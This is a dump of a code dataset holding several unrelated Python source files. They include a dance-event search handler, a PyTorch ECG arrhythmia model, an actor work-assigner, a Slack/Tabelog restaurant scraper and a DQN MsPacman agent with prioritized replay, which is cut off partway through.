for i in range(len(top3_ind)):\n if test_generator.classes[i] in top3_ind[i]:\n suma += 1\n\n tocnost = suma/len(top3_ind)\n print(\"tocnost top-3 klasifikacije \" + str(tocnost*100) + \" %\")\n \n return tocnost\n","sub_path":"top3_accuracy.py","file_name":"top3_accuracy.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"490519393","text":"#!/usr/bin/env python\n\nimport logging\nimport time\n\nimport app\nimport base_servlet\nfrom logic import friends\nfrom logic import rsvp\nfrom util import urls\nfrom . import onebox\nfrom . import search\nfrom . import search_base\nfrom . import search_pages\n\nclass SearchHandler(base_servlet.BaseRequestHandler):\n def requires_login(self):\n if not self.request.get('location') and not self.request.get('keywords'):\n return True\n return False\n\n def get(self, *args, **kwargs):\n self.handle(*args, **kwargs)\n\n def post(self, *args, **kwargs):\n self.handle(*args, **kwargs)\n\n def handle(self, city_name=None):\n self.finish_preload()\n if self.user and not self.user.location:\n #TODO(lambert): make this an error\n self.user.add_message(\"We could not retrieve your location from facebook. Please fill out a location below\")\n self.redirect('/user/edit')\n return\n\n form = search_base.HtmlSearchForm(self.request.GET, data=self.user.dict_for_form() if self.user else None)\n form.validated = form.validate()\n self.handle_search(form)\n\n@app.route('/')\n@app.route('/events/relevant')\nclass RelevantHandler(SearchHandler):\n template_name = 'results'\n search_class = search.Search\n\n def handle_search(self, form):\n validated = form.validate()\n if not validated:\n for field, errors in form.errors.items():\n for error in errors:\n self.add_error(u\"%s error: %s\" % (\n getattr(form, field).label.text,\n error\n ))\n\n if not self.request.get('calendar'):\n search_query = None\n\n search_results = []\n sponsored_studios = {}\n onebox_links = []\n if validated:\n search_query = form.build_query()\n\n if self.indexing_bot:\n search_results = self.search_class(search_query).get_search_results(full_event=True)\n search_results = [x for x in search_results if x.db_event.is_indexable()]\n else:\n search_results = self.search_class(search_query).get_search_results()\n\n if 'class' in form.deb.data:\n from classes import class_index\n class_results = class_index.ClassSearch(search_query).get_search_results()\n for result in class_results:\n sponsored_studios.setdefault(result.sponsor, set()).add(result.actual_city_name)\n search_results += class_results\n search_results.sort(key=lambda x: (x.start_time, x.actual_city_name, x.name))\n onebox_links = onebox.get_links_for_query(search_query)\n\n # We can probably speed this up 2x by shrinking the size of the fb-event-attending objects. a list of {u'id': u'100001860311009', u'name': u'Dance InMinistry', u'rsvp_status': u'attending'} is 50% overkill.\n a = time.time()\n friends.decorate_with_friends(self.fbl, search_results)\n logging.info(\"Decorating with friends-attending took %s seconds\", time.time() - a)\n a = time.time()\n rsvp.decorate_with_rsvps(self.fbl, search_results)\n logging.info(\"Decorating with personal rsvp data took %s seconds\", time.time() - a)\n\n past_results, present_results, grouped_results = search.group_results(search_results)\n if search_query and search_query.time_period in search_base.TIME_ALL_FUTURE:\n present_results = past_results + present_results\n past_results = []\n\n self.display['num_upcoming_results'] = sum([len(x.results) for x in grouped_results]) + len(present_results)\n self.display['past_results'] = past_results\n self.display['ongoing_results'] = present_results\n self.display['grouped_upcoming_results'] = grouped_results\n self.display['sponsored_studios'] = sponsored_studios\n self.display['onebox_links'] = onebox_links\n\n if form.time_period.data == search_base.TIME_PAST:\n self.display['selected_tab'] = 'past'\n elif self.request.get('calendar'):\n self.display['selected_tab'] = 'calendar'\n else:\n self.display['selected_tab'] = 'present'\n\n self.display['form'] = form\n if form.location.data and form.keywords.data:\n self.display['result_title'] = '%s dance events near %s' % (form.keywords.data, form.location.data)\n elif form.location.data:\n self.display['result_title'] = '%s dance events' % form.location.data\n elif form.keywords.data:\n self.display['result_title'] = '%s dance events' % form.keywords.data\n else:\n self.display['result_title'] = 'Dance events'\n\n request_params = form.url_params()\n self.display['past_view_url'] = '/events/relevant?past=1&%s' % urls.urlencode(request_params)\n self.display['upcoming_view_url'] = '/events/relevant?%s' % urls.urlencode(request_params)\n self.display['calendar_view_url'] = '/events/relevant?calendar=1&%s' % urls.urlencode(request_params)\n self.display['calendar_feed_url'] = '/calendar/feed?%s' % urls.urlencode(request_params)\n self.jinja_env.globals['CHOOSE_RSVPS'] = rsvp.CHOOSE_RSVPS\n self.render_template(self.template_name)\n\n@app.route('/city/(.*)/?')\nclass CityHandler(RelevantHandler):\n def requires_login(self):\n return False\n\n def handle(self, city_name):\n # TODO(lambert): Why is this still required, can we get rid of it?\n self.fbl.batch_fetch() # to avoid bad error handler?\n form = search_base.SearchForm(data={'location': city_name, 'distance': 100, 'distance_units': 'km'})\n self.handle_search(form)\n\n@app.route('/pages/search')\nclass RelevantPageHandler(RelevantHandler):\n template_name = 'results_pages'\n search_class = search_pages.SearchPages\n\n","sub_path":"search/search_servlets.py","file_name":"search_servlets.py","file_ext":"py","file_size_in_byte":6064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"526793813","text":"import logging\n\nfrom flask import Flask, render_template\n\nlog = logging.getLogger(__name__)\napp = Flask(__name__)\n\ndef boot():\n\tlog.debug(\"Booting HTTP API\")\n\tapp.debug = True\n\tapp.run()\n\n@app.route(\"/\")\ndef index():\n\treturn render_template(\"hello.html\")","sub_path":"web/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"528822528","text":"from torch import nn\nimport numpy as np\nimport torch\n\n\nclass ModelArrhythmia(nn.Module):\n def __init__(self, input_shape, output_shape, n_blocks, init_channel, kernel_size, dilation):\n super(ModelArrhythmia, self).__init__()\n self.input_shape = input_shape\n self.output_shape = output_shape\n self.kernel_size = kernel_size\n self.dilation = dilation\n self.channel = init_channel\n self.n_layers = n_blocks\n self.l_in, self.l_out = 0, 0\n self.stride_inc = 2 # default = 2\n self.channel_inc = 4 # default = 4\n\n self.base_block = nn.ModuleList()\n self.block = nn.ModuleList()\n self.skip = nn.ModuleList()\n\n # BaseBlock\n self._base_block()\n # MainBlock\n self._main_block()\n\n def _base_block(self):\n # [0] conv\n stride = 1\n self.l_in = self.input_shape[1]\n self.l_out = int(self.l_in / stride)\n padding = self._padding(self.l_in, self.l_out, self.kernel_size, stride, self.dilation)\n self.base_block.append(self._conv_block(in_channels=self.input_shape[0], out_channels=self.channel,\n act='relu',\n bn=True,\n dropout=False,\n kernel_size=self.kernel_size,\n dilation=self.dilation,\n stride=stride,\n padding=padding))\n # [1] skip connection (max pool)\n padding = int(np.ceil((2 * ((self.l_out / 2) - 1) - self.l_out + 2) / 2))\n self.base_block.append(self._max_pool1d(kernel_size=2, padding=padding))\n\n # [2] conv\n stride = 2\n self.l_in = self.l_out\n self.l_out = int(self.l_in / stride)\n padding = self._padding(self.l_in, self.l_out, self.kernel_size, stride, self.dilation)\n self.base_block.append(self._conv_block(in_channels=self.channel, out_channels=self.channel,\n act='relu',\n bn=True,\n dropout=True,\n kernel_size=self.kernel_size,\n dilation=self.dilation,\n stride=stride,\n padding=padding))\n # [3]\n stride = 1\n self.l_in = self.l_out\n self.l_out = int(self.l_in / stride)\n padding = self._padding(self.l_in, self.l_out, self.kernel_size, stride, self.dilation)\n self.base_block.append(self._conv_block(in_channels=self.channel, out_channels=self.channel,\n act='relu',\n bn=False,\n dropout=False,\n kernel_size=self.kernel_size,\n dilation=self.dilation,\n stride=stride,\n padding=padding))\n\n def _main_block(self):\n for i in range(self.n_layers):\n # [0] Main\n self.block.append(nn.Sequential(\n nn.BatchNorm1d(self.channel),\n nn.ReLU()\n ))\n\n in_channels = self.channel\n if i % self.channel_inc == 0:\n self.channel *= 2\n if i % self.stride_inc == 0:\n stride = 2\n else:\n stride = 1\n self.ori_len = self.l_out\n self.l_in = self.l_out\n self.l_out = int(self.l_in / stride)\n padding = self._padding(self.l_in, self.l_out, self.kernel_size, stride, self.dilation)\n # [1] Main (conv1d)\n self.block.append(self._conv_block(in_channels=in_channels,\n out_channels=self.channel,\n act='relu',\n bn=True,\n dropout=True,\n kernel_size=self.kernel_size,\n dilation=self.dilation,\n stride=stride,\n padding=padding))\n\n stride = 1\n padding = self._padding(self.l_out, self.l_out, self.kernel_size, stride, self.dilation)\n # [2] Main (conv1d)\n self.block.append(self._conv_block(in_channels=self.channel,\n out_channels=self.channel,\n act='relu',\n bn=False,\n dropout=False,\n kernel_size=self.kernel_size,\n dilation=self.dilation,\n stride=stride,\n padding=padding))\n # [3] Skip connection (max pooling)\n stride = 2 if i % self.stride_inc == 0 else 1\n l_out = int(self.ori_len / stride)\n padding = self._padding(self.ori_len, l_out, stride, stride, 1)\n self.block.append(self._max_pool1d(kernel_size=stride, padding=padding))\n\n classifier = nn.Sequential(\n nn.BatchNorm1d(self.channel),\n nn.ReLU(),\n nn.Flatten(start_dim=1),\n nn.Linear(in_features=self.l_out * self.channel, out_features=self.output_shape),\n )\n self.block.append(classifier)\n\n def forward(self, xb):\n # Base block\n xb = self.base_block[0](xb)\n skip = self.base_block[1](xb) # Skip connection\n xb = self.base_block[2](xb)\n xb = self.base_block[3](xb)\n xb = torch.add(xb, skip) # Adding output with skip connection\n\n num_comp = 4\n for i in range(self.n_layers):\n skip = xb\n xb = self.block[i * num_comp + 0](xb)\n skip = self.block[i * num_comp + 3](skip)\n\n xb = self.block[i * num_comp + 1](xb)\n xb = self.block[i * num_comp + 2](xb)\n if i % self.channel_inc == 0:\n # Concatenating zero-padding in skip-connection to match the dimension of channels\n if torch.cuda.is_available():\n zeros = torch.zeros(skip.shape, device='cuda', dtype=torch.float, requires_grad=True)\n else:\n zeros = torch.zeros(skip.shape, dtype=torch.float, requires_grad=True)\n skip = torch.cat((skip, zeros), dim=-2) # Along the channels\n xb = torch.add(xb, skip)\n xb = self.block[-1](xb)\n return xb\n\n @staticmethod\n def _conv_block(in_channels, out_channels, act, bn, dropout, *args, **kwargs):\n \"\"\"\n 1-D Convolution output l_out can be defined as\n l_out = (l_in + 2P - (K - 1) - 1) / S + 1,\n where P, K, S denote 'padding', 'kernel_size', and 'stride', respectively.\n =============================================================================\n :param in_channels:\n :param out_channels:\n :param act:\n :param bn:\n :param dropout:\n :param args:\n :param kwargs:\n :return:\n \"\"\"\n modules = nn.ModuleList([nn.Conv1d(in_channels, out_channels, *args, **kwargs)])\n if bn:\n modules.append(nn.BatchNorm1d(out_channels))\n if act == 'relu':\n modules.append(nn.ReLU())\n elif act == 'sigmoid':\n modules.append(nn.Sigmoid())\n if dropout:\n modules.append(nn.Dropout(p=.2))\n\n net = nn.Sequential(*modules)\n\n # # Weight initialization\n # def init_weights(m):\n # if type(m) == nn.Conv1d:\n # torch.nn.init.kaiming_normal_(m.weight)\n # net.apply(init_weights)\n return net\n\n @staticmethod\n def _padding(l_in, l_out, kernel_size, stride, dilation):\n return int(np.ceil((stride * (l_out - 1) - l_in + dilation * (kernel_size - 1) + 1) / 2))\n\n @staticmethod\n def _max_pool1d(*args, **kwargs):\n modules = nn.ModuleList([nn.MaxPool1d(*args, **kwargs)])\n return nn.Sequential(*modules)\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"515594582","text":"import random\nimport tkinter as tk\nfrom tkinter import *\nimport tkinter.messagebox\nimport pygame\nfrom time import sleep\n\n\npygame.init()\nscreen=pygame.display.set_mode([640,480])\nscreen.fill([0,0,255])\nx = 1\n\ntop = tk.Tk()\nroot = tk.Tk()\n\nembed = tk.Frame(root,width = 200, height = 300)\nembed.grid(columnspan = (600), rowspan = (400))\nembed.pack(side = LEFT)\naButton = tk.Button(top, text = \"click\", fg = \"Blue\")\nbButton = tk.Radiobutton()\ncButton = tk.Checkbutton()\ndButton = tk.Button(top, text = \"press here\", fg = 'Red')\nebutton = tk.Button(embed, text = \"click here\", bg = \"Red\")\n# fbuttonFrame = Frame(top, width = (100), height = (100))\nfbutton = tk.Button(embed, text = 'there', fg = \"Green\", width = 30, height = 4)\n\naButton.pack()\nbButton.pack()\ncButton.pack()\ndButton.pack()\nfbutton.pack()\nprint(str(aButton), bButton, cButton, dButton)\nfor a in range(5):\n b=str(a)\n sleep(1)\n font = pygame.font.SysFont(\"comicsansms\", 36)\n s=font.render(\"fonty mython\" + b,True,(255,255,0))\n screen.blit(s, (20,200))\n pygame.display.flip()\n # pygame.display.flip()\n font = pygame.font.SysFont(\"comicsansms\", 36)\n s = font.render(\" \", True, (0, 0, 0))\n screen.blit(s,(20,200))\n pygame.display.flip()\n pygame.display.update()\n# sleep(3)\n# screen.blit(x, x.get_rect())\n# for t in range(2):\n # e=str(t)\n # fbu = tk.LabelFrame(None, text=\"Enter value\", bg=\"Red\")\nfbutton = tk.Button(top, text = \"here\", fg = \"Blue\", width = 30, height = 3)\nif(cButton == True):\n print(\"checked\")\nelse:\n print(\"no check\")\nfbutton.update()\nfbutton.pack()\n\ndef there():\n pygame.draw.circle(screen, (0,0,0), (250,250), 125)\n pygame.display.update()\n\nthere()\nmainloop()\nprint(\"program exited\")","sub_path":"RobotArmControl/uploaded to gdrive/tkButtonsInPython27not36.py","file_name":"tkButtonsInPython27not36.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"649975325","text":"from actors import Actor, Core, TAG_WORK_ASSIGNER\n\nfrom actors import UserClassifierActor, FFDownloaderActor, DatabaseMasterActor\n\nfrom actors import concurentmethod\n\nfrom lib import TwitterAPIBroker\n\n\nclass WorkAssignerActor(Actor):\n def __init__(self, core : Core):\n super().__init__(core)\n\n self.tags = [TAG_WORK_ASSIGNER]\n\n self.ff_uids = []\n self.uc_uids = []\n\n self.ff_api_index = 0\n self.uc_api_index = 0\n\n self.waiting_for_uc_uids = False\n self.waiting_for_ff_uids = False\n\n @concurentmethod\n def requestUidForClassification(self, sender : Actor):\n assert type(sender) == type(UserClassifierActor)\n\n if self.uc_uids == []:\n if not self.waiting_for_uc_uids:\n dbm = self.core.get_database_master()\n\n self.send(dbm, DatabaseMasterActor.requestUnclassifiedUids)\n\n self.waiting_for_uc_uids = True\n\n self.send(sender, UserClassifierActor.noUidAvailable)\n\n return\n\n api = TwitterAPIBroker.apis[self.uc_api_index]\n\n self.uc_api_index += 1\n\n self.uc_api_index = self.uc_api_index % 3\n\n uid = self.uc_uids[0]\n\n self.uc_uids = self.uc_uids[1:]\n\n self.send(sender, FFDownloaderActor.download, args = [uid, api])\n\n @concurentmethod\n def requestUidForFFDownloading(self, sender : Actor):\n assert type(sender) == type(FFDownloaderActor)\n\n if self.ff_uids == []:\n if not self.waiting_for_ff_uids:\n dbm = self.core.get_database_master()\n\n self.send(dbm, DatabaseMasterActor.requestFFUids)\n\n self.waiting_for_ff_uids = True\n\n self.send(sender, FFDownloaderActor.noUidAvailable)\n\n return\n\n api = TwitterAPIBroker.apis[self.ff_api_index]\n\n self.ff_api_index += 1\n\n self.ff_api_index = self.ff_api_index % 3\n\n uid = self.ff_uids[0]\n\n self.ff_uids = self.ff_uids[1:]\n\n self.send(sender, UserClassifierActor.classify, args = [uid, api])\n\n @concurentmethod\n def receiveUnclassifiedUids(self, sender : Actor, uids : [int]):\n assert type(sender) == type(DatabaseMasterActor)\n\n self.waiting_for_uc_uids = False\n self.uc_uids = uids\n\n @concurentmethod\n def receiveFFUids(self, sender : Actor, uids : [int]):\n assert type(sender) == type(DatabaseMasterActor)\n\n self.waiting_for_ff_uids = False\n self.ff_uids = uids","sub_path":"work_assigner_actor.py","file_name":"work_assigner_actor.py","file_ext":"py","file_size_in_byte":2510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"370022367","text":"import pyinputplus as pyip\ncount = pyip.inputNum(prompt='Enter num to check whether the number you enter later, it\\'s digits add up to this number: ')\ndef addsuptox(number):\n numberList = list(number)\n for i, digit in enumerate(numberList):\n numberList[i] = int(digit)\n if sum(numberList) != count:\n raise Exception('The digits must add up to %s, not %s' % (count, sum(numberList)))\n return int(number)\n\nprint('Start entering number')\nresponse = pyip.inputCustom(addsuptox)\nprint(response)\n","sub_path":"Automate the boring stuff with Python/alldigitsadduptox.py","file_name":"alldigitsadduptox.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"366853015","text":"import pathlib\nimport os\nimport json\nimport time\nimport traceback\nimport copy\nimport pprint\n\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport requests\n\nimport env\n\n# TODO:jsonの元ファイルを手作業で準備してるのでそれを不要にする\n\n\nSLACK_CHANNEL_ID = env.SLACK_CHANNEL_ID\nSLACK_URL = env.SLACK_URL\nTOKEN = env.TOKEN\n\n# チャンネルの投稿を全て取得\ndef fetch_text():\n \"\"\" umameshiチャンネルの投稿を取得してjsonに変換\n\n Returns:\n str: チャンネル投稿のデータjson\n \"\"\"\n\n payload = {\n \"channel\": SLACK_CHANNEL_ID,\n \"token\": TOKEN\n }\n response = requests.get(SLACK_URL, params=payload)\n json_data = response.json()\n return json_data\n\n\ndef get_last_update_ts():\n \"\"\" ファイルの最終更新日時の取得\n\n Returns:\n float: unixtimeの更新日時\n \"\"\"\n # ファイルの最終更新時刻\n p = pathlib.Path('./text_write_str.json')\n st = p.stat()\n last_updae_ts = float(st.st_mtime)\n return last_updae_ts\n\ndef get_message_last_post_ts(msg):\n \"\"\" チャンネル投稿の最終投稿日時の取得\n\n Args:\n msg (str): チャンネル投稿内容のmessage key配下のjson\n\n Returns:\n float: unixtimeの最終投稿日時\n \"\"\"\n # 最終投稿時間の取得\n msg_ts = sorted([ts[\"ts\"] for ts in msg])\n last_post_ts = float(msg_ts[len(msg_ts)-1])\n return last_post_ts\n\n\ndef main():\n # チャンネルの投稿を取得\n json_data = fetch_text()\n # print(\"チャンネル投稿\", json_data)\n msg = json_data[\"messages\"]\n\n # 保存されてるファイルの最終更新日と取得したメッセージの最終投稿日を取得\n last_updae_ts = get_last_update_ts()\n last_post_ts = get_message_last_post_ts(msg)\n print(\"最終更新\", last_updae_ts, type(last_updae_ts))\n print(\"最終投稿\", last_post_ts, type(last_post_ts))\n\n msg2 = []\n if last_post_ts > last_updae_ts:\n for index, conents in enumerate(msg):\n # print(conents[\"ts\"])\n if float(conents[\"ts\"]) > last_updae_ts:\n print(\"通ったindex\", index)\n # pprint.pprint(conents)\n msg2.append(conents)\n\n if msg2:\n restaurant_data = get_url(msg2)\n # pprint.pprint(restaurant_data)\n return_data = get_restaurant_info(restaurant_data)\n\n result = json.dumps(return_data, ensure_ascii=False)\n\n # 書き込む\n # ファイルが既に存在していた場合は、ファイルの中身を空にして開く\n with open(\"text_write_str.json\", 'wt') as f:\n f.write(result)\n print(\"json.dumpsルート\")\n return result\n else:\n # 読み込む\n with open(\"./text_write_str.json\", \"r\") as d:\n str_data = d.read()\n # str_data = json.load(d)\n print(\"特に更新もないルート\")\n return json.dumps(str_data, ensure_ascii=False)\n\n # pprint.pprint(msg2)\n return msg2\n\n\n# tabelogURLのリスト\ndef get_url(msg):\n # tabelog_list = []\n restaurant_data = {}\n\n for contents in msg:\n try:\n msg_id = contents[\"client_msg_id\"]\n contents_link = contents[\"attachments\"][0][\"title_link\"]\n if \"tabelog\" in contents_link:\n print(\"true\")\n restaurant_data[msg_id] = contents_link\n\n except KeyError:\n continue\n \n return restaurant_data\n \n\n\n# スクレイピングでデータ取得\n\ndef set_format(msg_id, title, address, genre, og_img):\n data = {\"msg_id\": msg_id, \"title\": title,\n \"address\": address, \"genre\": genre, \"og_img\": og_img}\n return data\n\ndef get_restaurant_info(restaurant_data):\n \"\"\" tabelogから必要な情報を取得する\n\n Args:\n restaurant_data (dict): {\"msg_id\":\"tabelog url\"}\n\n Returns:\n list: [{\"msg_id\": msg_id, \"title\": title,\n \"address\": address, \"genre\": genre, \"og_img\": og_img}] \n \"\"\"\n # 読み込む\n with open(\"./text_write_str.json\", \"r\") as d:\n str_data = d.read()\n return_data = (json.loads(str_data))\n # return_data = []\n\n for k, v in restaurant_data.items():\n try:\n print(\"url\",v)\n time.sleep(3)\n response = requests.get(v).text\n soup = BeautifulSoup(response, \"html.parser\")\n\n title = soup.select_one(\n \"#rstdtl-head > div.rstdtl-header > section > div.rdheader-title-data > div.rdheader-rstname-wrap > div > h2 > span\").text.strip()\n address = soup.select_one(\n \"#contents-rstdata > div.rstinfo-table > table:nth-child(2) > tbody > tr:nth-child(5) > td > p\").text\n genre = soup.select_one(\n \"#contents-rstdata > div.rstinfo-table > table:nth-child(2) > tbody > tr:nth-child(2) > td > span\").text\n\n og_img = soup.find('meta', attrs={'property': 'og:image', 'content': True})[\n \"content\"]\n print(\"og_img\", og_img)\n\n return_data.append(set_format(k, title, address, genre, og_img))\n \n return return_data\n except:\n traceback.print_exc()\n continue\n\n","sub_path":"umameshi.py","file_name":"umameshi.py","file_ext":"py","file_size_in_byte":5259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"438932623","text":"# -*- coding:utf-8 -*-\n# DQN homework.\nimport os\nimport sys\nimport gym\nimport pylab\nimport random\nimport numpy as np\nfrom collections import deque\nfrom keras.layers import Dense,Dropout\nfrom keras.optimizers import Adam\nfrom keras.models import Sequential\nfrom gym import wrappers\nfrom utils import *\nimport keras.backend as K\nfrom tensorboardX import SummaryWriter\n\n# hyper-parameter. \nEPISODES = 5000\n\nclass SumTree(object):\n data_pointer = 0\n def __init__(self, capacity):\n self.capacity = capacity # for all priority values\n self.tree = np.zeros(2 * capacity - 1)\n self.data = np.zeros(capacity, dtype=object) # for all transitions\n\n\n def add(self, p, data):\n tree_idx = self.data_pointer + self.capacity - 1\n self.data[self.data_pointer] = data # update data_frame\n self.update(tree_idx, p) # update tree_frame\n\n self.data_pointer += 1\n if self.data_pointer >= self.capacity: # replace when exceed the capacity\n self.data_pointer = 0\n\n def update(self, tree_idx, p):\n change = p - self.tree[tree_idx]\n self.tree[tree_idx] = p\n # then propagate the change through tree\n while tree_idx != 0: # this method is faster than the recursive loop in the reference code\n tree_idx = (tree_idx - 1) // 2\n self.tree[tree_idx] += change\n\n def get_leaf(self, v):\n parent_idx = 0\n while True: # the while loop is faster than the method in the reference code\n cl_idx = 2 * parent_idx + 1 # this leaf's left and right kids\n cr_idx = cl_idx + 1\n if cl_idx >= len(self.tree): # reach bottom, end search\n leaf_idx = parent_idx\n break\n else: # downward search, always search for a higher priority node\n if v <= self.tree[cl_idx]:\n parent_idx = cl_idx\n else:\n v -= self.tree[cl_idx]\n parent_idx = cr_idx\n\n data_idx = leaf_idx - self.capacity + 1\n return leaf_idx, self.tree[leaf_idx], self.data[data_idx]\n\n @property\n def total_p(self):\n return self.tree[0] # the root\n\n\nclass Memory(object): # stored as ( s, a, r, s_, done) in SumTree\n epsilon = 0.01 # small amount to avoid zero priority\n alpha = 0.6 # [0~1] convert the importance of TD error to priority\n beta = 0.4 # importance-sampling, from initial value increasing to 1\n beta_increment_per_sampling = 0.001\n abs_err_upper = 1. # clipped abs error\n\n def __init__(self, capacity):\n self.tree = SumTree(capacity)\n\n def store(self, transition):\n max_p = np.max(self.tree.tree[-self.tree.capacity:])\n if max_p == 0:\n max_p = self.abs_err_upper\n self.tree.add(max_p, transition) # set the max p for new p\n\n def sample(self, n):\n b_idx, ISWeights = np.empty((n,), dtype=np.int32), np.empty((n, 1))\n b_memory=[]\n pri_seg = self.tree.total_p / n # priority segment\n self.beta = np.min([1., self.beta + self.beta_increment_per_sampling]) # max = 1\n min_prob = np.min(self.tree.tree[-self.tree.capacity:]) / self.tree.total_p # for later calculate ISweight\n if min_prob == 0:\n min_prob = 0.00001\n for i in range(n):\n a, b = pri_seg * i, pri_seg * (i + 1)\n v = np.random.uniform(a, b)\n idx, p, data = self.tree.get_leaf(v)\n prob = p / self.tree.total_p\n ISWeights[i, 0] = np.power(prob/min_prob, -self.beta)\n b_idx[i]= idx\n b_memory.append(data)\n #print(data.shape) # s,a,r,s,done\n #print(b_memory.shape)\n #print(data)\n #b_memory[i] = data\n return b_idx, b_memory, ISWeights\n\n def batch_update(self, tree_idx, abs_errors):\n abs_errors += self.epsilon # convert to abs and avoid 0\n clipped_errors = np.minimum(abs_errors, self.abs_err_upper)\n ps = np.power(clipped_errors, self.alpha)\n for ti, p in zip(tree_idx, ps):\n self.tree.update(ti, p)\n \nclass DQNAgent:\n def __init__(self, state_size, action_size):\n # if you want to see MsPacman learning, then change to True\n self.render = False\n\n # get size of state and action\n self.state_size = state_size\n self.action_size = action_size\n\n # These are hyper parameters for the DQN\n self.discount_factor = 0.9\n self.learning_rate = 0.0001 \n self.epsilon = 0.5\n self.epsilon_min = 0.01\n self.epsilon_decay = (self.epsilon-self.epsilon_min) / 1000000 \n self.batch_size = 32\n self.train_start = 32\n self.time_step=0\n # create replay memory using deque\n self.maxlen = 10000 \n #self.memory = deque(maxlen=self.maxlen)\n self.memory = Memory(capacity=self.maxlen)\n # create main model\n self.model_target = self.build_model()\n self.model_eval = self.build_model()\n\n # approximate Q function using Neural Network\n # you can modify the network to get higher reward.\n def build_model(self):\n model = Sequential()\n model.add(Dense(128, input_dim=self.state_size,activation='relu'))\n model.add(Dense(128*4, activation='relu'))\n model.add(Dense(128, activation='relu'))\n model.add(Dense(64, activation='relu'))\n model.add(Dense(self.action_size, activation='linear'))\n # model.summary()\n model.compile(loss='mse', optimizer=Adam(lr=self.learning_rate))\n return model\n\n # get action from model using epsilon-greedy policy\n def get_action(self, state):\n if np.random.rand() <= self.epsilon:\n return random.randrange(self.action_size)\n else:\n q_value = self.model_eval.predict(state)\n return np.argmax(q_value[0])\n\n def get_action_test(self, state): # use this function during test\n q_value = self.model_eval.predict(state)\n return np.argmax(q_value[0])\n\n # save sample to the replay memory s,a => s',r\n def append_sample(self, state, action, reward, next_state, done):\n self.memory.store([state, action, reward, next_state, done])\n # epsilon decay.\n if self.epsilon > self.epsilon_min:\n self.epsilon -= self.epsilon_decay\n\n # pick samples randomly from replay memory (with batch_size)\n def train_model(self):\n #if len(self.memory) < self.train_start:\n #return\n if self.time_step<10000:\n return\n batch_size = self.batch_size\n tree_idx,mini_batch, ISWeights = self.memory.sample(batch_size)\n\n update_input = np.zeros((batch_size, self.state_size))\n update_target = np.zeros((batch_size, self.state_size))\n action, reward, done = [], [], []\n\n for i in range(self.batch_size):\n update_input[i] = mini_batch[i][0] # state \n action.append(mini_batch[i][1])\n reward.append(mini_batch[i][2])\n update_target[i] = mini_batch[i][3]\n done.append(mini_batch[i][4])\n\n target = self.model_eval.predict(update_input) # Q value\n target_val = self.model_target.predict(update_target) # target Q value\n abs_errors = np.zeros(target.shape[0])\n for i in range(self.batch_size):\n # Q Learning: get maximum Q value at s' from model\n if done[i]: # finished\n abs_errors[i] = abs(target[i][action[i]]-reward[i])\n target[i][action[i]] = reward[i]\n else:\n tmp = reward[i] + self.discount_factor * (np.amax(target_val[i]))\n abs_errors[i] = abs(target[i][action[i]]-tmp)\n target[i][action[i]] = tmp\n \n\n # and do the model fit!\n self.model_eval.fit(update_input, target, batch_size=self.batch_size,\n epochs=1, verbose=0)\n self.memory.batch_update(tree_idx,abs_errors)\n \n def eval2target(self): # copy weights\n self.model_target.set_weights(self.model_eval.get_weights())\n \nimport sys, time\n\ndef copy_file_backup(save):\n import shutil, sys, getpass, socket\n backup_dir = os.path.join(save, 'backup_code')\n os.makedirs(backup_dir)\n with open(os.path.join(backup_dir, 'CLI argument.txt'), 'w') as f:\n res = ''.join(['hostName: ', socket.gethostname(), '\\n',\n 'account: ', getpass.getuser(), '\\n',\n 'save_path: ', os.path.realpath(save), '\\n', \n 'CUDA_VISIBLE_DEVICES: ', str(os.environ.get('CUDA_VISIBLE_DEVICES')), '\\n'])\n f.write(res)\n\n for i, _ in enumerate(sys.argv):\n f.write(sys.argv[i] + '\\n')\n \n script_file = sys.argv[0]\n shutil.copy(script_file, backup_dir)\n os.makedirs(os.path.join(backup_dir, 'current_experiment'))\n for file_path in os.listdir(sys.path[0]):\n if file_path not in ['log','logs', 'data', '__pycache__']:\n shutil.copy(os.path.join(sys.path[0], file_path), os.path.join(backup_dir, 'current_experiment'))\n \nclass Logger(object):\n def __init__(self, filename='terminal log.txt', stream=sys.stdout):\n self.terminal = stream\n self.log = open(filename, 'a')\n self.log.write(''.join([time.strftime(\"%y-%m-%d %H:%M:%S\", time.localtime(time.time())), '\\n\\n']))\n\n def write(self, message):\n self.terminal.write(message)\n self.log.write(message)\n\n def flush(self):\n pass\n\n def __del__(self):\n self.log.write(''.join(['\\n', time.strftime(\"%y-%m-%d %H:%M:%S\", time.localtime(time.time()))]))\n self.log.close()\n \ndef redirect_stdout(save_path):\n sys.stdout = Logger(os.path.join(save_path, 'stdout.txt'), sys.stdout)\n sys.stderr = Logger(os.path.join(save_path, 'stderr.txt'), sys.stderr)\n \nif __name__ == \"__main__\":\n # load the gym env\n env = gym.make('MsPacman-ram-v0')\n # set random seeds to get reproduceable result(recommended)\n set_random_seed(0)\n # get size of state and action from environment\n state_size = env.observation_space.shape[0]\n action_size = env.action_space.n\n # create the agent\n agent = DQNAgent(state_size, action_size)\n # log the training result\n scores, episodes = [], []\n graph_episodes = []\n graph_score = []\n best_score=0\n best_index=0\n avg_length = 10\n sum_score = 0\n rep_freq = 10\n TEST = 5\n it=0\n tune_lr=[2300,4000]\n save_path = os.path.join(os.path.abspath('.'),'logs',time.strftime(\"%y%m%d_%H%M%S\")) \n writer = SummaryWriter(log_dir=os.path.join(save_path, 'Tensorboard_Results'))\n \n # os.makedirs(save_path)\n redirect_stdout(save_path)\n copy_file_backup(save_path)\n mp1 = os.path.join(save_path,\"model_eval.h5\")\n 